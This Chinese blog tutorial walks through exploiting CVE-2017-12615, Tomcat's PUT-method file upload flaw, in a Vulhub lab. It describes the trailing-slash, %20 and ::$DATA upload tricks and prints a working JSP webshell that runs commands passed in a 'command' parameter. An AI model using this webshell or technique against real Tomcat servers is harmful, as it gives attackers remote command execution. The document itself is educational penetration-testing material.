CVE-2017-12615 Tomcat任意文件上传漏洞详解
今天继续给大家介绍渗透测试相关知识，本文主要内容是CVE-2017-12615 Tomcat任意文件上传漏洞详解。
免责声明：
本文所介绍的内容仅做学习交流使用，严禁利用文中技术进行非法行为，否则造成一切严重后果自负！
再次强调：严禁对未授权设备进行渗透测试！
一、漏洞简介
Tomca的7.0.0 - 7.0.79（7.0.81修复不完全）版本存在一个任意文件上传漏洞，漏洞编号CVE-2017-12615。该漏洞的形成有一部分是因为Tomcat配置不当，启用了PUT的方法（例如将readonly参数由初始值设置为false），这样就会允许未经验证身份的用户上传文件。攻击者就可以利用这一点来上传webshell，导致上传文件中的恶意JSP代码执行。
二、Vulhub漏洞环境启动
接下来，我们就使用Vulhub来快速搭建漏洞环境，Vulhub靶场的下载和安装请参考：Vulhub漏洞靶场搭建和使用。
我们在安装好Vulhub靶场后，执行命令：
docker-compose build
即可远程拉取靶场，该命令执行过程如下所示：
执行结束后如下所示：
靶场拉取完毕后，就可以启动靶场了，靶场启动命令是：
docker-compose up -d
该命令执行结果如下所示：
靶场启动完成后，可以执行命令：
docker-compose config
来查看靶场的配置，该命令执行结果如下所示：
这样，我们就可以看到，我们的靶场已经启动成功，并且开放了8080的端口供我们访问。
三、漏洞实战
接下来，我们就可以进行实战了。
首先，我们先抓取一个访问该站点的数据包，如下所示：
接下来，我们将该数据包发送到Repeater模块，将数据包中的方法改为PUT，并访问的URL改成我们想要上传的文件名称，注意，在这里要在最后加上一个斜杠，否则上传会报错，在数据包的最后，加上PUT的内容，就是我们要上传的文件中的内容，构造完成后的数据包如下所示：
从上图中可以看出，我们发送上传后的数据包后，发现201的回显，这证明我们的文件上传成功！
我们可以访问我们上传后的文件（注意要去掉最后的斜杠），发送可以成功访问，如下所示：
同样的，我们可以把文件名称后的斜杠换成%20或者是::$DATA，可以起到同样的效果，这两种方式的文件上传数据包构建如下所示：
这两种方式上传文件访问（注意以这两种方式访问，需要在后面添加%20或者是::$DATA）结果如下所示：
接下来开始实战，我们把上述简单的测试内容换成JSP的带回显的木马，内容如下所示：
<%
java.io.InputStream is = Runtime.getRuntime()
.exec(request.getParameter("command"))
.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = is.read(b)) != -1) {
out.print(new String(b));
}
%>
然后将其作为数据包的内容，以同样的方式上传，数据包构造以及上传结果如下所示：
这样，我们就可以通过command参数的控制来执行命令了，结果如下所示：
原创不易，转载请说明出处：https://blog.csdn.net/weixin_40228200